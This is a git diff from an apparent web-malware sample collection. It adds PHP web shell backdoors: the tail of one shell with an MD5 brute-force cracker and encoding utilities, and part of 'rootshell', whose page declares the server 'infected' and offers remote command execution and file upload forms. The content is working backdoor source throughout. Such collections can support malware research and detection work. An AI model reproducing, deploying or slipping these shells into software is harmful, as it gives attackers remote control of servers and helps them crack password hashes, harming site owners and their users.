rows=".(isset($convert)?10:3)." cols=60 style='width:100%;'>".htmlspecialchars($convert)."</textarea><br> +<input type=submit><br>"; + + + $russtr1="JCUKENGZH_FYVAPROLDESMIT_Bjcukengzh_fyvaproldesmit_b"; + $russtr2="����������������������������������������������������"; + function from_translit($ss) { + global $russtr1,$russtr2; + $w=array("Sch",'�',"SCH",'�',"ScH",'�',"SCh",'�',"sch",'�',"Jo",'�',"JO",'�',"jo",'�', + "Zh",'�',"ZH",'�',"zh",'�',"Ch",'�',"CH",'�',"ch",'�',"Sh",'�',"SH",'�',"sh",'�', + "##",'�',"''",'�',"Eh",'�',"EH",'�',"eh",'�',"Ju",'�',"JU",'�',"ju",'�',"Yu",'�', + "YU",'�',"yu",'�',"YA","�","Ya","�","ya","�","Ja",'�',"JA",'�',"ja",'�'); + $c=count($w); + for ($i=0; $i<$c; $i+=2) $ss=str_replace($w[$i],$w[$i+1],$ss); + $ss=strtr($ss,$russtr1,$russtr2); + $ss=preg_replace("!([�-�]+)~([�-�]+)!is","\\1\\2",$ss); + return $ss; + } + function to_translit($ss) { + global $russtr1,$russtr2; + $ss=strtr($ss,$russtr2,$russtr1); + $ss=str_replace( + array('�', '�', '�', '�', '�', '�', '�', '�', '�', '�', '�', '�', '�', '�', ), + array('SH','SCH','ZH','YA','CH','YU','YO','sh','sch','zh','ya','ch','yu','yo',), + $ss); + return $ss; + } + + if (isset($convert)) { + if (!isset($name)) $name="0"; + $out=""; + switch ($name) { + + case 1: + $out=md5($convert); + break; + + case 2: + $out=base64_encode($convert); + break; + + case 3: + $out=chunk_split(base64_encode($convert)); + break; + + case 4: + $out=base64_encode($convert); + $out=substr(preg_replace("!.{1,76}!","'\\0'.\n",$out),0,-2); + break; + + case 5: + $out=base64_decode($convert); + break; + + case 6: + $convert=intval($convert); + if ($convert==0) $convert=time(); + $out="Unixtime=$convert\n---Day/Month/Year--\n". + date("d/m/Y H:i:s",$convert)."\n". + date("d-m-Y H:i:s",$convert)."\n". + date("d.m.Y H:i:s",$convert)."\n". + "---Month/Day/Year--\n". + date("m/d/Y H:i:s",$convert)."\n". + date("m-d-Y H:i:s",$convert)."\n". + date("m.d.Y H:i:s",$convert)."\n". + "---------SQL-------\n". + date("Y-m-d H:i:s",$convert)."\n". + date("Y m d H i s",$convert)."\n". + date("YmdHis",$convert); + break; + + case 8: + $c=explode(" ",trim(preg_replace("! +!"," ",$convert))); + if (count($c)<3 || count($c)>6) $out="Bad value. Type: 2000 12 31 or 2000 12 31 12 59 59"; + else { + if (empty($c[0])) $c[0]=1970; + if ($c[0]<50) $c[0]=2000+$c[0]; + if ($c[0]>50 && $c[0]<100) $c[0]=1900+$c[0]; + if (empty($c[1])) $c[1]=1; + if (empty($c[2])) $c[2]=1; + if (empty($c[3])) $c[3]=0; + if (empty($c[4])) $c[4]=0; + if (empty($c[5])) $c[5]=0; + $out="TIME: $c[0]-$c[1]-$c[2] $c[3]:$c[4]:$c[5]\nMKTIME: ".mktime($c[3],$c[4],$c[5],$c[1],$c[2],$c[0]); + } + break; + + case 9: + $out=from_translit($convert); + break; + + case 14: + $out=to_translit($convert); + break; + + case 10: $out=convert_cyr_string($convert,'w','k'); break; + case 11: $out=convert_cyr_string($convert,'k','w'); break; + case 12: $out=convert_cyr_string($convert,'w','m'); break; + case 13: $out=convert_cyr_string($convert,'m','w'); break; + case 15: $out=convert_cyr_string($convert,'k','m'); break; + case 16: $out=convert_cyr_string($convert,'m','k'); break; + + case 7: + echo "<script>top.location.href='$self?c=md5crack&text=$convert'</script>"; + break; + + case 0: + $out="Please select anythink function in list. Example: type 'test' and select 'md5'. Then click 'Submit'."; + break; + + default: + $out='Sorry, this function not work (try new versions)'; + } + echo "<P><hr size=1 noshade>\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n<pre><xmp>$out</xmp></pre>\n\n\n\n\n\n\n\n\n<hr size=1 noshade>"; + } + + break; + + +case "md5crack": + + echo "<form action=$self name=main><input type=hidden name=c value=md5crack> + <h2>Decode MD5 (<a href=$self>home</a>|<a href=$self?c=t&name=1#convert>md5</a>)</h2><P>"; + + if (!isset($go)) { + if (!isset($fullqty)) $fullqty=""; + if (!isset($fulltime)) $fulltime=""; + if (!isset($php)) $php=""; + if (!isset($from)) $from=""; + echo "<b>STRING</b>: <input type=text name=text value='$text' size=40> (only 32 char: 0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f)"; + echo "<P><b>Range</b>: <input type=text name=php value=\"".htmlspecialchars($php)."\" size=90><br>"; + $chars=array( + 'a-z'=>"abcdefghijklmnopqrstuvwxyz", + 'a-z,A-Z'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", + 'a-z,0-9'=>"abcdefghijklmnopqrstuvwxyz0123456789", + 'a-z,A-Z,0-9'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", + 'a-z,A-Z,0-9,other'=>"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~`!@#\$%^&*()_+-=[]{};:,<.>/\"'\\"); + $i=0; + foreach ($chars as $k=>$v) { + echo "<script>str$i=\"".str_replace("\"","\\\"",str_replace("\\","\\\\",$v))."\"</script> + <a href='' onclick=\"document.main.php.value=str$i;return false\">$k</a> &nbsp; "; + $i++; + } + echo "<P> + <b>Start from</b>: <input type=text size=70 name=from value='$from'><P> + <input type=hidden name=go value=1> + <input type=hidden name=fullqty value=$fullqty> + <input type=hidden name=fulltime value=$fulltime> + <input type=submit value='Start!'><form>"; + } + else { + + function mdgetword() { + global $php,$from,$word; + $word=""; + for ($i=0; $i<count($from); $i++) $word.=$php[$from[$i]]; + } + + $fulltime=@intval($fulltime); + $fullqty=@intval($fullqty); + + $text=strtolower($text); + if (!preg_match("!^[0-9a-f]{32}$!",$text)) exit("md5 bad format: must be 32 bytes, range 0-9,a,b,c,d,e,f"); + if (!isset($php) || strlen($php)==0) $php="qwertyuiopasdfghjklzxcvbnm"; + if (!isset($from) || !preg_match("!^([0-9]+):(([0-9]+,)*[0-9]+)$!",$from,$ok)) { + $pos=0; + $from=0; + } + else { + $pos=$ok[1]; + $from=$ok[2]; + } + $from=explode(",",$from); + if (!is_array($from) || !count($from) || count($from)==1 && $from[0]==0) { + $from=array(0); + if (md5("")===$text) exit("** DONE **<br><br>md5('')=$text<br><br>(try empty string, 0 bytes!)"); + } + $phplen=strlen($php); + mdgetword(); + $poslen=strlen($word); + if ($pos<0 || $pos>=$poslen) $pos=0; + + for ($i=0; $i<10; $i++) { echo "<!-- -->\r\n"; flush(); } + + echo "<h3><a href='$self?c=md5crack". + "&from=".urlencode("$pos:".implode(",",$from)). + "&text=".urlencode($text). + "&php=".urlencode($php). + "&fulltime=$fulltime&fullqty=$fullqty". + "'>Save this link</a> - click for break and save current position</h3>"; + flush(); + + echo " + MD5_HASH=$text<br> + CURRENT_WORD=$word<br> + CURRENT_DIGIT=$pos:".implode(",",$from)."<br> + RANGE=".htmlspecialchars($php)."<br> + ProcessTime=$fulltime sec (".(floor($fulltime/60/60))."h)<br> + Calculation(qty)={$fullqty}0000<p><font face=courier>"; + flush(); + + + $fullsum=pow($phplen,$poslen); + $time1=time(); + $i=0; + + while (1) { + + $i++; + if ($i>50000) { + $time=time()-$time1; + if ($time>20) break; + $i=0; + $sum=0; + for ($j=1; $j<count($from); $j++) $sum+=$from[$j]*pow($phplen,$j); + printf("<nobr><b>%02.2f%%</b> ($word) %02dsec |</nobr> \r\n", + $sum*100/$fullsum,$time); + flush(); + $fullqty+=5; + } + + if (md5($word)===$text) + exit("<P><font color=red size=+1><b>** DONE **<P><tt>[$word]=[$text]</tt></b></font> + <script> window.focus(); window.focus(); setTimeout(\"alert('Done!')\",100);</script>"); + $from[$pos]++; + if ($from[$pos]==$phplen) { + $flag=1; + $from[$pos]=0; + $word[$pos]=$php[0]; + for ($pos=$pos+1; $pos<$poslen; $pos++) { + if ($from[$pos]+1<$phplen) { + $from[$pos]++; + $word[$pos]=$php[$from[$pos]]; + $flag=0; + $pos=0; + break; + } + else { + $from[$pos]=0; + $word[$pos]=$php[0]; + } + } + if ($flag) { + $from[]=0; + $poslen=count($from); + $word.=$php[0]; + $pos=0; + $fullsum=pow($phplen,$poslen); + } + } + $word[$pos]=$php[$from[$pos]]; + } + + $fulltime+=time()-$time1; + if ($i>5000) $fullqty++; + $url="$self?c=md5crack". + "&from=".urlencode("$pos:".implode(",",$from)). + "&text=".urlencode($text). + "&php=".urlencode($php). + "&fulltime=$fulltime&fullqty=$fullqty&go=1"; + echo "<script>location.href=\"$url\"</script><a href='$url'>click here</a>"; + + } + + break; + + +case "phpinfo": + + phpinfo(); + break; + + +case "codes": + + error_reporting(2039); + if (!isset($limit)) $limit=999; + if (!isset($fontsize)) $fontsize="300%"; + + echo "<h3> + <a href='$self'>START PAGE</a> | + <a href='$self?c=t'>Eval/Shell</a> | + <a href='$self?c=codes'>Character map</a> + </h3>"; + + echo "<h3>".mm("Character map (symbol codes table)")."</h3> + <form action=$self method=get> + <input type=hidden name=c value=\"codes\"> + <select name=fontname size=1> + <option value='Webdings'>====[ ".mm("Select font")." ]===="; + + foreach (array('Arial','Courier','Comic Sans MS','Fixedsys','Small fonts','Symbol', + 'System','Tahoma','Terminal','Times New Roman','Verdana', + 'Webdings','Wingdings','Wingdings 2','Wingdings 3') as $v) + echo "<option".($fontname==$v?" selected":"").">$v"; + + echo "</select> + ".mm("or type other")." + <input size=13 type=text name=fontname2 value=\"$fontname2\">. + ".mm("Font size").": <input size=6 type=text name=fontsize value=\"$fontsize\">.<br> + ".mm("Code limit").": + <input type=radio name=limit value=255 id=a1 ".($limit==255?"checked":"")."><label for=a1>0-255</label> + <input type=radio name=limit value=999 id=a2 ".($limit==999?"checked":"")."><label for=a2>0-999 </label> + <input type=radio name=limit value=9999 id=a3 ".($limit==9999?"checked":"")."><label for=a3>0-9999</label> + <input type=submit value='".mm("Generate table")." !'></form><P>"; + + if (!isset($fontname)) break; + if (!empty($fontname2)) $fontname=$fontname2; + echo " + <STYLE> + .codes { font: $fontsize $fontname; text-align: center; } + .z { font: 12pt Fixedsys; color: #cccccc; } + </STYLE> + <table class=codes border=0 cellspacing=0 cellpadding=1>"; + ?> + <SCRIPT> + m=8; + n=1; + s=new String(""); + s=s+"<tr><td class=z>&amp;#0000;</td><td>&nbsp;</td>"; + for (i=1; i<=<?php echo $limit; ?>; i++) { + if (i<10) x="000"+i; + else if (i<100) x="00"+i; + else if (i<1000) x="0"+i; + else x=i; + if (n%m==0) s=s+"<tr>"; + s=s+"<td class=z>&amp;#"+x+";</td>"; + s=s+"<td>&#"+x+";</td>"; + if (n%m+1==m) s=s+"</tr>"; + if (s.length>500) { + document.write(s); + s="" + } + n++; + } + document.write(s); + </SCRIPT> + <?php + + echo "</table>"; + break; + + + +case "img": + + unset($img); +$img=array( +'dir'=> +'R0lGODlhEwAQALMAAAAAAP///5ycAM7OY///nP//zv/OnPf39////wAAAAAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAgALAAAAAATABAAAARREMlJq7046yp6BxsiHEVBEAKYCUPrDp7HlXRdEoMqCebp'. +'/4YchffzGQhH4YRYPB2DOlHPiKwqd1Pq8yrVVg3QYeH5RYK5rJfaFUUA3vB4fBIBADs=', +'fon'=> +'R0lGODlhQAYEALMAAAAAAP///6bK8A4obRs2eSlFhDZTkEVjnVRyqWKCtnCQwXyezIiq1pO24J3A'. +'6P///yH5BAEAAA8ALAAAAABABgQAAAT/cMhJq704E7n78EQXjmRpnmcRqizRsgUcz3Rt37QR63zR'. +'GzygcEgsGo8HYNKQbDKfh2Z0Sq1ar9goQsvdeg/eMGJMLpvPaHRivG4j3O14Yk6v2+/4u2K+7yf8'. +'Cn2Bg4SFhoeGC4GKjAqNC4yQkpOUlZaTDJCZmwubngygoaKjpKUNDKepqKipDa6vsLGysg4Ntbe2'. +'tg63u72+v8AOArvDxcLFAsnKy8zNzs/Q0dLT1NXW19jZ2tvc3d7f4OHi4+Tl5ufo6err7O3u7/Dx'. +'8vPSGfb3GCAfHBP6IvwgRKBIscJFwREvXMRYkVCGQhw1dPiYSJHiDx8SLwLBeKSjkyUg/5VAGRnl'. +'CUkmWVKCWfmF5UqXX8bAZJmmJpubbt6QWaNzTs+ccOTkwbPnj9GjfIwCKspUqSBEiRxJnbpI6qNG'. +'Vh1d2sopUydNYEF18tp1bClTq06JUqvK1aq0rGbNwvUKl11deIP9Mkasr7Fkwo4do0e4sOHDiBMr'. +'Xsy4sePHkCNLnkzZHL7LmC9s2LdZ34eAAkOjUGGCNAyEBhkqfDiDNcTXGS1O7IFx9sYhHDuKRCIy'. +'pBSSUqgAV7kFS/GXMcHIXK6cDEybOm+e4emzp/Wgdd7E0T50aNNAdADxeTroT3moVQspWrT+0dRI'. +'k7Ju/VrJK/2ynsyG+nr2LSlVrMCVlsIsA8pVCyx05bJLXrzoFQxff0WITGUUVmjhhRhmqOGGHHbo'. +'4YcgepPZiP3wA9A+nJ0o0GchsDjQiwaRFiNCL7R2Wo2vRZRDRbJpdJsQueWm2xImfdTbbkYKNwUU'. +'KjXp0pPMJScGTdBVeZ10V2J3XXdEJaWUHUWZ9yV4ZDqFHnrrZVWVe5VYNZ8l9pF1H3/87ddVf6Oo'. +'JSCAcMHSp1wGKujKXQsGo8uDvgwTWGCKKjMYYCFGKumklFZq6aWYZqrppstEAAA7', +'mode'=> +'R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO'. +'2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/'. +'dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=', + +'refresh'=> +'R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA'. +'AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY'. +'3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ'. +'R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=', +'search'=> +'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d2ZmZl9fX01NTSkpKQQEBP//'. +'/wAAACH5BAEAAA4ALAAAAAAUABQAAASn0Ml5qj0z5xr6+JZGeUZpHIqRNOIRfIYiy+a6vcOpHOap'. +'s5IKQccz8XgK4EGgQqWMvkrSscylhoaFVmuZLgUDAnZxEBMODSnrkhiSCZ4CGrUWMA+LLDxuSHsD'. +'AkN4C3sfBX10VHaBJ4QfA4eIU4pijQcFmCVoNkFlggcMRScNSUCdJyhoDasNZ5MTDVsXBwlviRmr'. +'Cbq7C6sIrqawrKwTv68iyA6rDhEAOw==', +'setup'=> +'R0lGODlhFAAUAMQAAAAAAP////j4+OPj493d3czMzMDAwLKyspaWloaGhnd3d2ZmZl9fX01NTUJC'. +'QhwcHP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA'. +'ABAALAAAAAAUABQAAAWVICSKikKWaDmuShCUbjzMwEoGhVvsfHEENRYOgegljkeg0PF4KBIFRMIB'. +'qCaCJ4eIGQVoIVWsTfQoXMfoUfmMZrgZ2GNDPGII7gJDLYErwG1vgW8CCQtzgHiJAnaFhyt2dwQE'. +'OwcMZoZ0kJKUlZeOdQKbPgedjZmhnAcJlqaIqUesmIikpEixnyJhulUMhg24aSO6YyEAOw==', +'up'=> +'R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg'. +'+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV'. +'IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==', +'sort_asc'=> +'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa'. +'SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==', +'sort_desc'=> +'R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb'. +'SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=', +'exe'=> +'R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7'. +'WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt'. +'xhIAOw==', +'html'=> +'R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz'. +'c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P'. +'KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk'. +'Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR'. +'ADs=', +'txt'=> +'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ'. +'SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7'. +'UpPWG3Ig6Hq/XmRjuZwkAAA7', +'unk'=> +'R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANE'. +'SLPcSzCqQKsVQ8JhexBBJnGVYFZACowleJZrRH7lFW8eDbMXaPO1juA2uXiGwBwFKRMeiTPlByrd'. +'yUzYbJao6npVkQQAOw==', +'php'=> +'R0lGODlhEwAQALMAAAAAAP///9fX3d3f7s/S5F1qpmJpjKOqyr7D27i80K+ywEtam4OIk+T/AO7u'. +'7v///yH5BAEAAA8ALAAAAAATABAAAAR08D0wK71VSna47yBHadxhnujRqKRJvC+SJIPKbgJR7DzP'. +'NECNgNFbGI/HhmZQWASezugzsFBKdtJsoEA1aLBTJzTMIDWpRqr6mFgyounswiAgDYjY/FwxGD1K'. +'BAMIg4MJCg41fiUpjAeKjY1+EwCUlZaVGhEAOw==', +'img'=> +'R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV'. +'Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp'. +'qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq'. +'BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==', +'edit'=> +'R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze'. +'EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61'. +'LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==', +'papki'=> +'R0lGODlhFAAUAKIAAAAAAP////j4+N3d3czMzLKysoaGhv///yH5BAEAAAcALAAAAAAUABQAAANo'. +'eLrcribG90y4F1Amu5+NhY2kxl2CMKwrQRSGuVjp4LmwDAWqiAGFXChg+xhnRB+ptLOhai1crEmD'. +'Dlwv4cEC46mi2YgJQKaxsEGDFnnGwWDTEzj9jrPRdbhuG8Cr/2INZIOEhXsbDwkAOw==', +'home'=> +'R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA'. +'AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS'. +'krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j'. +'VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=', +'back'=> +'R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8'. +'aLrc/jDKSWWpjVysSNiYJ4CUOBJoqjniILzwuzLtYN/3zBSErf6kBW+gKRiPRghPh+EFK0mOUEqt'. +'Wg0JADs=' + +); + + + header("Content-type: image/gif"); + header("Cache-control: public"); + // /* + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + // */ + echo base64_decode($img[$name]); + + break; + +} + + +?> diff --git a/web-malware-collection-master/Backdoors/PHP/rootshell.txt b/web-malware-collection-master/Backdoors/PHP/rootshell.txt new file mode 100755 index 0000000..fd3697d --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/rootshell.txt @@ -0,0 +1,351 @@ + +<!-- +/* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ +/* ................jdWMMMMMNk&,...JjdMMMHMMHA+................ */ +/* .^.^.^.^.^.^..JdMMMBC:vHMMNI..`dMMM8C`ZMMMNs...^^.^^.^^.^^. */ +/* ..^.^..^.....dMMMBC`....dHNn...dMNI....`vMMMNy.........^... */ +/* .....^..?XMMMMMBC!..dMM@MMMMMMM#MMH@MNZ,^!OMMHMMNk!..^...^. */ +/* ^^.^..^.`??????!`JdN0??!??1OUUVT??????XQy!`??????!`..^..^.^ */ +/* ..^..^.....^..^..?WN0`` ` +llz:` .dHR:..^.......^..^... */ +/* ...^..^.^.^..^...`?UXQQQQQeyltOOagQQQeZVz`..^.^^..^..^..^.. */ +/* ^.^..^..^..^..^.^..`zWMMMMH0llOXHMMMM9C`..^.....^..^..^..^. */ +/* ..^..^...^..+....^...`zHHWAwtltwAXH8I....^...?+....^...^..^ */ +/* ...^..^...JdMk&...^.^..^zHNkAAwWMHc...^.....jWNk+....^..^.. */ +/* ^.^..^..JdMMMMNHo....^..jHMMMMMMMHl.^..^..jWMMMMNk+...^..^. */ +/* .^....jdNMM9+4MMNmo...?+zZV7???1wZO+.^..ddMMM6?WMMNmc..^..^ */ +/* ^.^.jqNMM9C!^??UMMNmmmkOltOz+++zltlOzjQQNMMY?!`??WMNNmc^.^. */ +/* ummQHMM9C!.uQo.??WMMMMNNQQkI!!?wqQQQQHMMMYC!.umx.?7WMNHmmmo */ +/* OUUUUU6:.jgWNNmx,`OUWHHHHHSI..?wWHHHHHW9C!.udMNHAx.?XUUUU9C */ +/* .......+dWMMMMMNm+,`+ltltlzz??+1lltltv+^.jdMMMMMMHA+......^ */ +/* ..^..JdMMMMC`vMMMNkJuAAAAAy+...+uAAAAA&JdMMMBC`dMMMHs....^. */ +/* ....dMMMMC``.``zHMMMMMMMMMMS==zXMMMMMMMMMM8v``.`?ZMMMNs.... */ +/* dMMMMMBC!`.....`!?????1OVVCz^^`+OVVC??????!`....^`?vMMMMMNk */ +/* ??????!`....^.........?ztlOz+++zlltz!........^.....???????! */ +/* .....^.^^.^..^.^^...uQQHkwz+!!!+zwWHmmo...^.^.^^.^..^....^. */ +/* ^^.^.....^.^..^...ugHMMMNkz1++++zXMMMMHmx..^....^.^..^.^..^ */ +/* ..^.^.^.....^...jdHMMMMM9C???????wWMMMMMHn+...^....^..^..^. */ +/* ^....^.^.^....JdMMMMMMHIz+.......?zdHMMMMMNA....^..^...^..^ */ +/* .^.^....^...JdMMMMMMHZttOz1111111zlttwWMMMMMNn..^.^..^..^.. */ +/* ..^.^.^....dNMMMMMWOOtllz!^^^^^^^+1lttOZWMMMMMNA,....^..^.. */ +/* ^....^..?dNMMMMMC?1ltllllzzzzzzzzzlllltlz?XMMMMNNk+^..^..^. */ +/* .^.^..+dNMM8T77?!`+lllz!!!!!!!!!!!!+1tll+`??777HMNHm;..^..^ */ +/* ..^..^jHMMNS`..^.`+ltlz+++++++++++++ztll+`....`dMMMHl.^..^. */ +/* ....^.jHMMNS`^...`+ltlz+++++++++++++zltl+`^.^.`dMMMHl..^..^ */ +/* ^^.^..jHMMNS`.^.^`+tllz+...........?+ltl+`.^..`dMMMHl...^.. */ +/* ..^..^jHMMM6`..^.`+lltltltlz111zltlltlll+`...^`dMMMHl.^..^. */ +/* ....^.jHNC``.^...`+zltlltlz+^^.+zltlltzz+`..^.^`?dMHl..^..^ */ +/* .^.^..jHNI....^..^``+zltltlzzzzzltltlv!``.^...^..dMHc....^. */ +/* ^...jdNMMNmo...^...^`?+ztlltllltlltz!``..^.^...dqNMMNmc.^.. */ +/* .^.`?7TTTTC!`..^.....^`?!!!!!!!!!!!!`..^....^.`?7TTTTC!..^. */ +/* ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ */ +/* +/* We should take care some kind of history, i will add here to keep a trace of changes (who made it). +/* Also I think we should increase the last version number by 1 if you make some changes. +/* +/* CHANGES / VERSION HISTORY: +/* ==================================================================================== +/* Version Nick Description +/* - - - - - - - - - - - - - - - - - - - - - - - - - - - +/* 0.3.1 666 added an ascii bug :) +/* 0.3.1 666 password protection +/* 0.3.1 666 GET and POST changes +/* 0.3.2 666 coded a new uploader +/* 0.3.2 666 new password protection +/* 0.3.3 666 added a lot of comments :) +/* 0.3.3 666 added "Server Info" +/* 1.0.0 666 added "File Inclusion" +/* 1.0.0 666 removed password protection (nobody needs it...) +/* 1.0.0 666 added "Files & Directories" +/* 1.3.3 666 added "File Editor" +/* 2.0.0 666 added "Notices" +/* 2.0.0 666 added some new modules +/* 2.0.0 666 made some design updates +/* +/* +--> +<? +// +// Default Changes +// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +$owner = "SR-Crew"; // Insert your nick +$version = "2.0.0"; // The version + +// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +// +?> + +<body link="#000000" vlink="#000000" alink="#000000" bgcolor="#FFFFD5"> +<style type="text/css"> +body{ +cursor:crosshair +} +</style> +<div align="center" style="width: 100%; height: 100"> +<pre width="100%" align="center"><strong> ____ _ ____ _ _ _ +| _ \ ___ ___ | |_ / ___|| |__ ___| | | +| |_) / _ \ / _ \| __| \___ \| '_ \ / _ \ | | +| _ < (_) | (_) | |_ _ ___) | | | | __/ | | +|_| \_\___/ \___/ \__| (_) |____/|_| |_|\___|_|_|</pre> +</div></strong> +<b><u><center><font face='Verdana' style='font-size: 8pt'><?php echo "This server has been infected by $owner"; ?></font></center></u></b> +<hr color="#000000" size="2,5"> + +<div align="center"> + <center> + <p> + <?php +// Check for safe mode +if( ini_get('safe_mode') ) { + print '<font face="Verdana" color="#FF0000" style="font-size:10pt"><b>Safe Mode ON</b></font>'; +} else { + print '<font face="Verdana" color="#008000" style="font-size:10pt"><b>Safe Mode OFF</b></font>'; +} + +?> +&nbsp;</p><font face="Webdings" size="6">!</font><br> +&nbsp;<table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" width="100%" id="AutoNumber1" height="25" bordercolor="#000000"> + <tr> + <td width="1%" height="25" bgcolor="#FCFEBA"> + <p align="center"><font face="Verdana" size="2">[ Server Info ]</font></td> + </tr> + <tr> + <td width="49%" height="142"> + <p align="center"> + <font face="Verdana" style="font-size: 8pt"><b>Current Directory:</b> <? echo $_SERVER['DOCUMENT_ROOT']; ?> + <br /> + <b>Shell:</b> <? echo $SCRIPT_FILENAME ?> + <br> + <b>Server Software:</b> <? echo $SERVER_SOFTWARE ?><br> + <b>Server Name:</b> <? echo $SERVER_NAME ?><br> + <b>Server Protocol:</b> <? echo $SERVER_PROTOCOL ?><br> + </font></tr> + </table><br /> + <table border="1" cellpadding="0" cellspacing="0" style="border-collapse: collapse" width="100%" id="AutoNumber1" height="426" bordercolor="#000000"> + <tr> + <td width="49%" height="25" bgcolor="#FCFEBA" valign="middle"> + <p align="center"><font face="Verdana" size="2">[ Command Execute ]</font></td> + <td width="51%" height="26" bgcolor="#FCFEBA" valign="middle"> + <p align="center"><font face="Verdana" size="2">[ File Upload ]</font></td> + </tr> + <tr> + <td width="49%" height="142"> + <p align="center"><form method="post"> +<p align="center"> +<br> +<font face="Verdana" style="font-size: 8pt">Insert your commands here:</font><br> +<br> +<textarea size="70" name="command" rows="2" cols="40" ></textarea> <br> +<br><input type="submit" value="Execute!"><br> +&nbsp;<br></p> + </form> + 